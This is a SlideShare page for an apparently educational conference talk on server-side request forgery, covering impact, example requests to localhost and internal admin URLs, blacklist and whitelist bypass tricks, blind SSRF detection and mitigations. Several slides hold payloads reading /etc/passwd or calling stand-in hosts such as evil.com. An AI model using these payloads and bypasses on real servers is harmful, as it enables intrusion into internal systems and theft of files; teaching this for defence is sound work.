SlideShare a Scribd company logo
1 of 24
Server side Request
Forgery
Exploit the trust relationship
Twitter- @trouble1_raunak
Myself- Raunak Pamar
 Learning web security
 Whitebox / blackbox pentester
 Bug hunter
 Speaker
 Student
AGENDA
 What is SSRF?
 Impact Of SSRF?
 Attacks Against Server Itself
 Why do applications behave in this way?
 Attacks against other back-end system
 Bypassing filters
 White listing
 Black listing
 Blind SSRF
What is SSRF?
 It's a server side attack where an
attacker can create a HTTP request
from the server to internal servers
or external server.
 In simple language SSRF can create
request to itself (http://localhost/)
or other servers
(http://attackerserver.com)
Impact Of SSRF (Exploit the trust relationships)
 Breaking relationship
 SSRF attacks often exploit trust relationships to escalate an attack
from the vulnerable application
 These relationships might exit in relation to server itself to other
back-end sever systems within the same organization
 A successful SSRF attack can often result in
 Unauthorized actions or access to data within the organization.
 Or other back-end systems that the application can Communicate
 Sometimes even arbitrary command execution.
Attacks Against Server Itself
 In SSRF attacker induces the
application to make an HTTP request
back to the server that is hosting the
application, via its loopback network
interface.
 URL with a hostname like 127.0.0.1(a
reserved ip address) or localhost
(a commonly used name for same
adapter)
Attacks Against Server Itself
Example:
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=6&storeId=1
Attacker Comes in
stockApi=http://localhost/admin
Attacks Against Server Itself
 Now the attacker could just fetch for /admin page but
administrative functionality is ordinarily accessible only to
suitable users only.
 But here the request is made from the server side so the
access controls are bypassed.
 And application grants full access, because the request appears
to originate from trusted location.
Attacks Against Server Itself
URL schemas
 file:// - Allow attacker to fetch files
 http://example.com/ssrf.php?url=file:///etc/passwd
 dict:// - Used to refer to definitions or word lists
 http://example.com/ssrf.php?dict://evil.com:1337/
 tftp:// - allows a client to get a file from or put a file
 http://example.com/ssrf.php?url=sftp://evil.com:1337/
Why do applications behave in this way?
 Why do applications trust requests that come from the local
machine?
1. The access control check might be implemented in a different
component.
2. The application might allow administrative access without
logging.
3. The administrative interface might be listening on a different
port number.
 These kind of trust relationships, where requests originating from the
local machine are handled differently than ordinary requests, is
often what makes SSRF into a critical vulnerability.
Attacks against other back-end system
 Another type of trust relationship that often arises with server-
side request forgery is where the application server is able to
interact with other back-end systems that are not directly
reachable by users.
 eg, suppose there is an administrative interface at the back-end
URL https://192.168.0.68/admin.
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://192.168.0.68/admin
Bypassing filters – Black Listing
 Some applications block input containing hostnames
like 127.0.0.1 and localhost.
1. Using an alternative IP representation of 127.0.0.1, such as
2130706433, 017700000001, 127.1
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com
2. Registering your own domain name that resolves to 127.0.0.1
You can use spoofed.burpcollaborator.net for this purpose.
3. Obfuscating blocked strings using URL encoding or case variation.
All bypassing techniques
Bypassing filters – White Listing
 Some applications only allow input that matches, begins with, or
contains, a whitelist of permitted values.
 https://127.0.0.1@evil-host
 https://evil-host#127.0.0.1
 https://127.0.0.1.evil-host
 You can use combinations of these techniques together.
All bypassing techniques
Where to look for SSRF?
 Webhooks:
 Look for services that makes HHTP request when certain events
happen.
 PDF Generators:
 Try <iframe>, <imp> or <script> elements or CSS url()
 Link expansions:
 Try looking for features that get you a web page for link
 File uploads:
 Try sending URL and see if it downloads the Content
Blind SSRF
 What is blind SSRF?
 When response from the back-end request is not returned in the
application's front-end response
 What is the impact of blind SSRF vulnerabilities?
 Impact is often lower than fully informed SSRF. They cannot be
trivially exploited to retrieve sensitive data from back-end
systems but in some situation they can be exploited to achieve
full RCE
Blind SSRF
 How to find blind SSRF vulnerabilities?
 Using out-of-band techniques
• This involves attempting to trigger an HTTP request to an external system that you control,
and monitoring for network interactions with that system
 The easiest and most effective way to do out-of-band techniques is using burp
Collaborator
• It will create unique domain name.
• Monitor for any interaction with those domains
• If Request is observed coming from the application then it is vulnerable
Blind SSRF
 USE http://pingb.in/ to verify SSRF
Demo
MITIGATION
Avoid user input that
can make requests on
behalf of the server.
1
Sanitize and filter user
input.
2
Use whitelist of
allowed domains and
protocols
3
Where you can practise and learn SSRF?
o https://portswigger.net/web-
security/ssrf
Reference Links
 https://medium.com/bugbountywriteup/server-side-request-forgery-ssrf-testing-b9dfe57cca35
 https://www.shorebreaksecurity.com/blog/ssrfs-up-real-world-server-side-request-forgery-ssrf/
 https://hackerone.com/reports/115748
 https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html
 https://geleta.eu/2019/my-first-ssrf-using-dns-rebinfing/
 https://medium.com/@androgaming1912/gain-adfly-smtp-access-with-ssrf-via-gopher-protocol-
26a26d0ec2cb
 https://medium.com/@armaanpathan/pdfreacter-ssrf-to-root-level-local-file-read-which-led-to-rce-
eb460ffb3129
 https://www.youtube.com/watch?v=D1S-G8rJrEk
Contact me
trouble1_raunak
Q & A
Thank you

More Related Content

What's hot

HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)
HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)
HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)
Marco Balduzzi
 
Web Application Penetration Testing Introduction
Web Application Penetration Testing IntroductionWeb Application Penetration Testing Introduction
Web Application Penetration Testing Introduction
gbud7
 

What's hot (20)

Vulnerabilities in modern web applications
Vulnerabilities in modern web applicationsVulnerabilities in modern web applications
Vulnerabilities in modern web applications
 
Pentesting ReST API
Pentesting ReST APIPentesting ReST API
Pentesting ReST API
 
A8 cross site request forgery (csrf) it 6873 presentation
A8 cross site request forgery (csrf)   it 6873 presentationA8 cross site request forgery (csrf)   it 6873 presentation
A8 cross site request forgery (csrf) it 6873 presentation
 
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
 
Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation
 
API Security Fundamentals
API Security FundamentalsAPI Security Fundamentals
API Security Fundamentals
 
HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)
HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)
HTTP Parameter Pollution Vulnerabilities in Web Applications (Black Hat EU 2011)
 
Penetration testing web application web application (in) security
Penetration testing web application web application (in) securityPenetration testing web application web application (in) security
Penetration testing web application web application (in) security
 
Neat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionNeat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protection
 
Cross site scripting attacks and defenses
Cross site scripting attacks and defensesCross site scripting attacks and defenses
Cross site scripting attacks and defenses
 
Building Advanced XSS Vectors
Building Advanced XSS VectorsBuilding Advanced XSS Vectors
Building Advanced XSS Vectors
 
Bug Bounty Hunter Methodology - Nullcon 2016
Bug Bounty Hunter Methodology - Nullcon 2016Bug Bounty Hunter Methodology - Nullcon 2016
Bug Bounty Hunter Methodology - Nullcon 2016
 
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
OWASP AppSecEU 2018 – Attacking "Modern" Web TechnologiesOWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
 
Secure Code Warrior - CRLF injection
Secure Code Warrior - CRLF injectionSecure Code Warrior - CRLF injection
Secure Code Warrior - CRLF injection
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 
Bypass file upload restrictions
Bypass file upload restrictionsBypass file upload restrictions
Bypass file upload restrictions
 
Sql injections - with example
Sql injections - with exampleSql injections - with example
Sql injections - with example
 
Directory Traversal & File Inclusion Attacks
Directory Traversal & File Inclusion AttacksDirectory Traversal & File Inclusion Attacks
Directory Traversal & File Inclusion Attacks
 
Web Application Penetration Testing Introduction
Web Application Penetration Testing IntroductionWeb Application Penetration Testing Introduction
Web Application Penetration Testing Introduction
 
Frans Rosén Keynote at BSides Ahmedabad
Frans Rosén Keynote at BSides AhmedabadFrans Rosén Keynote at BSides Ahmedabad
Frans Rosén Keynote at BSides Ahmedabad
 

Similar to SSRF exploit the trust relationship

Secure Form Processing and Protection - Devspace 2015
Secure Form Processing and Protection - Devspace 2015 Secure Form Processing and Protection - Devspace 2015
Secure Form Processing and Protection - Devspace 2015
Joe Ferguson
 
Manindra kishore _incident_handling_n_log_analysis - ClubHack2009
Manindra kishore _incident_handling_n_log_analysis - ClubHack2009Manindra kishore _incident_handling_n_log_analysis - ClubHack2009
Manindra kishore _incident_handling_n_log_analysis - ClubHack2009
ClubHack
 
Andrews whitakrer lecture18-security.ppt
Andrews whitakrer lecture18-security.pptAndrews whitakrer lecture18-security.ppt
Andrews whitakrer lecture18-security.ppt
SilverGold16
 
Cross Site Request Forgery Vulnerabilities
Cross Site Request Forgery VulnerabilitiesCross Site Request Forgery Vulnerabilities
Cross Site Request Forgery Vulnerabilities
Marco Morana
 
Unifi securitybugs sep2013
Unifi securitybugs sep2013Unifi securitybugs sep2013
Unifi securitybugs sep2013
testslidesha12
 

Similar to SSRF exploit the trust relationship (20)

VAPT_FINAL SLIDES.pptx
VAPT_FINAL SLIDES.pptxVAPT_FINAL SLIDES.pptx
VAPT_FINAL SLIDES.pptx
 
Secure Form Processing and Protection - Devspace 2015
Secure Form Processing and Protection - Devspace 2015 Secure Form Processing and Protection - Devspace 2015
Secure Form Processing and Protection - Devspace 2015
 
Manindra kishore _incident_handling_n_log_analysis - ClubHack2009
Manindra kishore _incident_handling_n_log_analysis - ClubHack2009Manindra kishore _incident_handling_n_log_analysis - ClubHack2009
Manindra kishore _incident_handling_n_log_analysis - ClubHack2009
 
Securing Your WordPress Website - WordCamp GC 2011
Securing Your WordPress Website - WordCamp GC 2011Securing Your WordPress Website - WordCamp GC 2011
Securing Your WordPress Website - WordCamp GC 2011
 
Securing Your WordPress Website by Vlad Lasky
Securing Your WordPress Website by Vlad LaskySecuring Your WordPress Website by Vlad Lasky
Securing Your WordPress Website by Vlad Lasky
 
Cyber security
Cyber securityCyber security
Cyber security
 
OWASP
OWASPOWASP
OWASP
 
VAPT PRESENTATION full.pptx
VAPT PRESENTATION full.pptxVAPT PRESENTATION full.pptx
VAPT PRESENTATION full.pptx
 
Cyber Security-Ethical Hacking
Cyber Security-Ethical HackingCyber Security-Ethical Hacking
Cyber Security-Ethical Hacking
 
2071
20712071
2071
 
Secure programming with php
Secure programming with phpSecure programming with php
Secure programming with php
 
Andrews whitakrer lecture18-security.ppt
Andrews whitakrer lecture18-security.pptAndrews whitakrer lecture18-security.ppt
Andrews whitakrer lecture18-security.ppt
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
 
Cross Site Request Forgery Vulnerabilities
Cross Site Request Forgery VulnerabilitiesCross Site Request Forgery Vulnerabilities
Cross Site Request Forgery Vulnerabilities
 
Web application sec_3
Web application sec_3Web application sec_3
Web application sec_3
 
OWASP Top10 2010
OWASP Top10 2010OWASP Top10 2010
OWASP Top10 2010
 
Web Exploitation Security
Web Exploitation SecurityWeb Exploitation Security
Web Exploitation Security
 
Unifi securitybugs sep2013
Unifi securitybugs sep2013Unifi securitybugs sep2013
Unifi securitybugs sep2013
 
Infrastructure security & Incident Management
Infrastructure security & Incident Management Infrastructure security & Incident Management
Infrastructure security & Incident Management
 
Are you fighting_new_threats_with_old_weapons
Are you fighting_new_threats_with_old_weaponsAre you fighting_new_threats_with_old_weapons
Are you fighting_new_threats_with_old_weapons
 

More from n|u - The Open Security Community

More from n|u - The Open Security Community (20)

Hardware security testing 101 (Null - Delhi Chapter)
Hardware security testing 101 (Null - Delhi Chapter)Hardware security testing 101 (Null - Delhi Chapter)
Hardware security testing 101 (Null - Delhi Chapter)
 
Osint primer
Osint primerOsint primer
Osint primer
 
Nmap basics
Nmap basicsNmap basics
Nmap basics
 
Metasploit primary
Metasploit primaryMetasploit primary
Metasploit primary
 
Api security-testing
Api security-testingApi security-testing
Api security-testing
 
Introduction to TLS 1.3
Introduction to TLS 1.3Introduction to TLS 1.3
Introduction to TLS 1.3
 
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
Gibson 101 -quick_introduction_to_hacking_mainframes_in_2020_null_infosec_gir...
 
Talking About SSRF,CRLF
Talking About SSRF,CRLFTalking About SSRF,CRLF
Talking About SSRF,CRLF
 
Building active directory lab for red teaming
Building active directory lab for red teamingBuilding active directory lab for red teaming
Building active directory lab for red teaming
 
Owning a company through their logs
Owning a company through their logsOwning a company through their logs
Owning a company through their logs
 
Introduction to shodan
Introduction to shodanIntroduction to shodan
Introduction to shodan
 
Cloud security
Cloud security Cloud security
Cloud security
 
Detecting persistence in windows
Detecting persistence in windowsDetecting persistence in windows
Detecting persistence in windows
 
Frida - Objection Tool Usage
Frida - Objection Tool UsageFrida - Objection Tool Usage
Frida - Objection Tool Usage
 
OSQuery - Monitoring System Process
OSQuery - Monitoring System ProcessOSQuery - Monitoring System Process
OSQuery - Monitoring System Process
 
DevSecOps Jenkins Pipeline -Security
DevSecOps Jenkins Pipeline -SecurityDevSecOps Jenkins Pipeline -Security
DevSecOps Jenkins Pipeline -Security
 
Extensible markup language attacks
Extensible markup language attacksExtensible markup language attacks
Extensible markup language attacks
 
Linux for hackers
Linux for hackersLinux for hackers
Linux for hackers
 
Android Pentesting
Android PentestingAndroid Pentesting
Android Pentesting
 
News bytes null 200314121904
News bytes null 200314121904News bytes null 200314121904
News bytes null 200314121904
 

Recently uploaded

The basics of sentences session 3pptx.pptx
The basics of sentences session 3pptx.pptxThe basics of sentences session 3pptx.pptx
The basics of sentences session 3pptx.pptx
heathfieldcps1
 

Recently uploaded (20)

FSB Advising Checklist - Orientation 2024
FSB Advising Checklist - Orientation 2024FSB Advising Checklist - Orientation 2024
FSB Advising Checklist - Orientation 2024
 
Interdisciplinary_Insights_Data_Collection_Methods.pptx
Interdisciplinary_Insights_Data_Collection_Methods.pptxInterdisciplinary_Insights_Data_Collection_Methods.pptx
Interdisciplinary_Insights_Data_Collection_Methods.pptx
 
On_Translating_a_Tamil_Poem_by_A_K_Ramanujan.pptx
On_Translating_a_Tamil_Poem_by_A_K_Ramanujan.pptxOn_Translating_a_Tamil_Poem_by_A_K_Ramanujan.pptx
On_Translating_a_Tamil_Poem_by_A_K_Ramanujan.pptx
 
NO1 Top Black Magic Specialist In Lahore Black magic In Pakistan Kala Ilam Ex...
NO1 Top Black Magic Specialist In Lahore Black magic In Pakistan Kala Ilam Ex...NO1 Top Black Magic Specialist In Lahore Black magic In Pakistan Kala Ilam Ex...
NO1 Top Black Magic Specialist In Lahore Black magic In Pakistan Kala Ilam Ex...
 
Fostering Friendships - Enhancing Social Bonds in the Classroom
Fostering Friendships - Enhancing Social Bonds  in the ClassroomFostering Friendships - Enhancing Social Bonds  in the Classroom
Fostering Friendships - Enhancing Social Bonds in the Classroom
 
Kodo Millet PPT made by Ghanshyam bairwa college of Agriculture kumher bhara...
Kodo Millet  PPT made by Ghanshyam bairwa college of Agriculture kumher bhara...Kodo Millet  PPT made by Ghanshyam bairwa college of Agriculture kumher bhara...
Kodo Millet PPT made by Ghanshyam bairwa college of Agriculture kumher bhara...
 
The basics of sentences session 3pptx.pptx
The basics of sentences session 3pptx.pptxThe basics of sentences session 3pptx.pptx
The basics of sentences session 3pptx.pptx
 
Jamworks pilot and AI at Jisc (20/03/2024)
Jamworks pilot and AI at Jisc (20/03/2024)Jamworks pilot and AI at Jisc (20/03/2024)
Jamworks pilot and AI at Jisc (20/03/2024)
 
How to Give a Domain for a Field in Odoo 17
How to Give a Domain for a Field in Odoo 17How to Give a Domain for a Field in Odoo 17
How to Give a Domain for a Field in Odoo 17
 
TỔNG ÔN TẬP THI VÀO LỚP 10 MÔN TIẾNG ANH NĂM HỌC 2023 - 2024 CÓ ĐÁP ÁN (NGỮ Â...
TỔNG ÔN TẬP THI VÀO LỚP 10 MÔN TIẾNG ANH NĂM HỌC 2023 - 2024 CÓ ĐÁP ÁN (NGỮ Â...TỔNG ÔN TẬP THI VÀO LỚP 10 MÔN TIẾNG ANH NĂM HỌC 2023 - 2024 CÓ ĐÁP ÁN (NGỮ Â...
TỔNG ÔN TẬP THI VÀO LỚP 10 MÔN TIẾNG ANH NĂM HỌC 2023 - 2024 CÓ ĐÁP ÁN (NGỮ Â...
 
On National Teacher Day, meet the 2024-25 Kenan Fellows
On National Teacher Day, meet the 2024-25 Kenan FellowsOn National Teacher Day, meet the 2024-25 Kenan Fellows
On National Teacher Day, meet the 2024-25 Kenan Fellows
 
How to Add New Custom Addons Path in Odoo 17
How to Add New Custom Addons Path in Odoo 17How to Add New Custom Addons Path in Odoo 17
How to Add New Custom Addons Path in Odoo 17
 
Exploring_the_Narrative_Style_of_Amitav_Ghoshs_Gun_Island.pptx
Exploring_the_Narrative_Style_of_Amitav_Ghoshs_Gun_Island.pptxExploring_the_Narrative_Style_of_Amitav_Ghoshs_Gun_Island.pptx
Exploring_the_Narrative_Style_of_Amitav_Ghoshs_Gun_Island.pptx
 
Wellbeing inclusion and digital dystopias.pptx
Wellbeing inclusion and digital dystopias.pptxWellbeing inclusion and digital dystopias.pptx
Wellbeing inclusion and digital dystopias.pptx
 
General Principles of Intellectual Property: Concepts of Intellectual Proper...
General Principles of Intellectual Property: Concepts of Intellectual  Proper...General Principles of Intellectual Property: Concepts of Intellectual  Proper...
General Principles of Intellectual Property: Concepts of Intellectual Proper...
 
Holdier Curriculum Vitae (April 2024).pdf
Holdier Curriculum Vitae (April 2024).pdfHoldier Curriculum Vitae (April 2024).pdf
Holdier Curriculum Vitae (April 2024).pdf
 
How to Manage Global Discount in Odoo 17 POS
How to Manage Global Discount in Odoo 17 POSHow to Manage Global Discount in Odoo 17 POS
How to Manage Global Discount in Odoo 17 POS
 
Python Notes for mca i year students osmania university.docx
Python Notes for mca i year students osmania university.docxPython Notes for mca i year students osmania university.docx
Python Notes for mca i year students osmania university.docx
 
How to setup Pycharm environment for Odoo 17.pptx
How to setup Pycharm environment for Odoo 17.pptxHow to setup Pycharm environment for Odoo 17.pptx
How to setup Pycharm environment for Odoo 17.pptx
 
SOC 101 Demonstration of Learning Presentation
SOC 101 Demonstration of Learning PresentationSOC 101 Demonstration of Learning Presentation
SOC 101 Demonstration of Learning Presentation
 

SSRF exploit the trust relationship

  • 1. Server side Request Forgery Exploit the trust relationship Twitter- @trouble1_raunak
  • 2. Myself- Raunak Pamar  Learning web security  Whitebox / blackbox pentester  Bug hunter  Speaker  Student
  • 3. AGENDA  What is SSRF?  Impact Of SSRF?  Attacks Against Server Itself  Why do applications behave in this way?  Attacks against other back-end system  Bypassing filters  White listing  Black listing  Blind SSRF
  • 4. What is SSRF?  It's a server side attack where an attacker can create a HTTP request from the server to internal servers or external server.  In simple language SSRF can create request to itself (http://localhost/) or other servers (http://attackerserver.com)
  • 5. Impact Of SSRF (Exploit the trust relationships)  Breaking relationship  SSRF attacks often exploit trust relationships to escalate an attack from the vulnerable application  These relationships might exit in relation to server itself to other back-end sever systems within the same organization  A successful SSRF attack can often result in  Unauthorized actions or access to data within the organization.  Or other back-end systems that the application can Communicate  Sometimes even arbitrary command execution.
  • 6. Attacks Against Server Itself  In SSRF attacker induces the application to make an HTTP request back to the server that is hosting the application, via its loopback network interface.  URL with a hostname like 127.0.0.1(a reserved ip address) or localhost (a commonly used name for same adapter)
  • 7. Attacks Against Server Itself Example: POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=6&storeId=1 Attacker Comes in stockApi=http://localhost/admin
  • 8. Attacks Against Server Itself  Now the attacker could just fetch for /admin page but administrative functionality is ordinarily accessible only to suitable users only.  But here the request is made from the server side so the access controls are bypassed.  And application grants full access, because the request appears to originate from trusted location.
  • 9. Attacks Against Server Itself URL schemas  file:// - Allow attacker to fetch files  http://example.com/ssrf.php?url=file:///etc/passwd  dict:// - Used to refer to definitions or word lists  http://example.com/ssrf.php?dict://evil.com:1337/  tftp:// - allows a client to get a file from or put a file  http://example.com/ssrf.php?url=sftp://evil.com:1337/
  • 10. Why do applications behave in this way?  Why do applications trust requests that come from the local machine? 1. The access control check might be implemented in a different component. 2. The application might allow administrative access without logging. 3. The administrative interface might be listening on a different port number.  These kind of trust relationships, where requests originating from the local machine are handled differently than ordinary requests, is often what makes SSRF into a critical vulnerability.
  • 11. Attacks against other back-end system  Another type of trust relationship that often arises with server- side request forgery is where the application server is able to interact with other back-end systems that are not directly reachable by users.  eg, suppose there is an administrative interface at the back-end URL https://192.168.0.68/admin. POST /product/stock HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApi=http://192.168.0.68/admin
  • 12. Bypassing filters – Black Listing  Some applications block input containing hostnames like 127.0.0.1 and localhost. 1. Using an alternative IP representation of 127.0.0.1, such as 2130706433, 017700000001, 127.1 http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com 2. Registering your own domain name that resolves to 127.0.0.1 You can use spoofed.burpcollaborator.net for this purpose. 3. Obfuscating blocked strings using URL encoding or case variation. All bypassing techniques
  • 13. Bypassing filters – White Listing  Some applications only allow input that matches, begins with, or contains, a whitelist of permitted values.  https://127.0.0.1@evil-host  https://evil-host#127.0.0.1  https://127.0.0.1.evil-host  You can use combinations of these techniques together. All bypassing techniques
  • 14. Where to look for SSRF?  Webhooks:  Look for services that makes HHTP request when certain events happen.  PDF Generators:  Try <iframe>, <imp> or <script> elements or CSS url()  Link expansions:  Try looking for features that get you a web page for link  File uploads:  Try sending URL and see if it downloads the Content
  • 15. Blind SSRF  What is blind SSRF?  When response from the back-end request is not returned in the application's front-end response  What is the impact of blind SSRF vulnerabilities?  Impact is often lower than fully informed SSRF. They cannot be trivially exploited to retrieve sensitive data from back-end systems but in some situation they can be exploited to achieve full RCE
  • 16. Blind SSRF  How to find blind SSRF vulnerabilities?  Using out-of-band techniques • This involves attempting to trigger an HTTP request to an external system that you control, and monitoring for network interactions with that system  The easiest and most effective way to do out-of-band techniques is using burp Collaborator • It will create unique domain name. • Monitor for any interaction with those domains • If Request is observed coming from the application then it is vulnerable
  • 17. Blind SSRF  USE http://pingb.in/ to verify SSRF
  • 18. Demo
  • 19. MITIGATION Avoid user input that can make requests on behalf of the server. 1 Sanitize and filter user input. 2 Use whitelist of allowed domains and protocols 3
  • 20. Where you can practise and learn SSRF? o https://portswigger.net/web- security/ssrf
  • 21. Reference Links  https://medium.com/bugbountywriteup/server-side-request-forgery-ssrf-testing-b9dfe57cca35  https://www.shorebreaksecurity.com/blog/ssrfs-up-real-world-server-side-request-forgery-ssrf/  https://hackerone.com/reports/115748  https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html  https://geleta.eu/2019/my-first-ssrf-using-dns-rebinfing/  https://medium.com/@androgaming1912/gain-adfly-smtp-access-with-ssrf-via-gopher-protocol- 26a26d0ec2cb  https://medium.com/@armaanpathan/pdfreacter-ssrf-to-root-level-local-file-read-which-led-to-rce- eb460ffb3129  https://www.youtube.com/watch?v=D1S-G8rJrEk
  • 23. Q & A